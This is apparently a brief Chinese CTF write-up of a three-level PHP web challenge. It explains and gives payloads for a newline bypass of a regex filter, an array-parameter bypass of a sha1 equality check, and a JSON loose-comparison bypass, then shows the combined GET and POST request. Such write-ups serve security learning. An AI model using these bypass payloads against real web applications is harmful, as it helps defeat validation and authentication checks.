image-20260112161036443

1.第一关要求aaa值为”pass_the_level_1#”,但是如果中间有level,会直接被替换

1
2
注意看题替换的正则表达式为/^(.*)level(.*)$/
这只能匹配一行,我们可以用换行符进行绕过
1
payload:?aaa=%0apass_the_level_1%23

浏览器默认不会把”#”提交给服务器,进行url编码

image-20260112161517526

2.第二关要求admin和root_pwd的值不能相等,但是sha1加密后要相等

sha1和md5的特性一样的,直接采用数组绕过

1
payload:admin[]=1&root_pwd[]=2

image-20260112161549170

3.第三关要求传入的数据json解码后的对象的result成员的值和$result的值一样,采用弱比较,如果$result和0比较会被转数字,当$result的字符串开头是字母是,被解析成0

1
payload:level_3={"result":0}
1
2
3
最终payload:
GET:?aaa=%0apass_the_level_1%23
POST:admin[]=1&root_pwd[]=2&level_3={"result":0}

image-20260112162401103